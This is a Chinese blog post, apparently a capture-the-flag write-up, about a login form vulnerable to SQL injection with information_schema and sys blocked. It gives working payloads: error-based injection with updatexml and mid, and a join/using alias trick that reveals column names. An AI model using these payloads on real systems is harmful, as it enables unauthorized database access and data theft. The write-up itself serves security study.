打开页面得到一个登入框,用户名处加单引号sql报错
08059-s6x1drtjjcm.png

information_schema被拦截

11959-5t6to1xz435.png

sys被拦截,这样通过这两个方式去获取库 表列的方式行不通了

29563-1ui1415bskd.png

这里使用报错注入得到当前数据库名security

49233-xhlvka9knto.png

通过暴力的方式得到flag表,也同时知道了有id列

admin')and (select id from flag)--+

98656-tkiw48qg2ha.png

使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,在使用using函数依次爆出其他字段名,这里通过两次得到了id跟no这个列

admin')and (select * from (select * from flag as a join flag as b using(id,no)) as c)--+

查询得到第3个列03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``

59375-wmyjiu5ezk.png

现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32位需要使用函数去获取后半部分,这里得到前32位

admin')and updatexml(1,concat(0x1,((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag))),1)--+

这里使用mid取出后面的部分

admin')and updatexml(1,concat(0x1,mid((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag),10,32)),1)--+

94737-m8ip9ki5cpb.png

最后修改:2022 年 01 月 20 日
如果觉得我的文章对你有用,请随意赞赏